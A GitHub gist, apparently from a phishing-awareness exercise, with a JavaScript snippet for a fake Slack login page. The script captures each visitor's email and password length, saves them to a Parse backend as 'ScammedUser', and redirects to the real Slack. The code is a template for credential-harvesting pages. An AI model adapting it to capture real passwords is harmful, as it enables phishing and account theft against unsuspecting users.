Skip to content

Instantly share code, notes, and snippets.

@joaojusto
Created November 26, 2019 17:40
Show Gist options
  • Select an option

  • Save joaojusto/b6704a8c8fb34cb8d7d3f24e70f90650 to your computer and use it in GitHub Desktop.

Select an option

Save joaojusto/b6704a8c8fb34cb8d7d3f24e70f90650 to your computer and use it in GitHub Desktop.
Hacking your own company code example
Parse.initialize('xxxxxx','xxxxxx');
var ScammedUser = Parse.Object.extend('ScammedUser');
var scammedUser = new ScammedUser();
 
function onSubmitKey(e) {
 if (e.keyCode == 13)
  onSubmit();
}
 
function onSubmit() {
 var accountDetails = {
 email: $('#email').val(),
 password: $('#password').val().length
};
 
 if (!accountDetails.email || !accountDetails.password)
  return;
 
 scammedUser.save(accountDetails)
  .then(function(object) {
  console.log('Success', accountDetails);
  window.location.href = realSlackLink;
  });
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment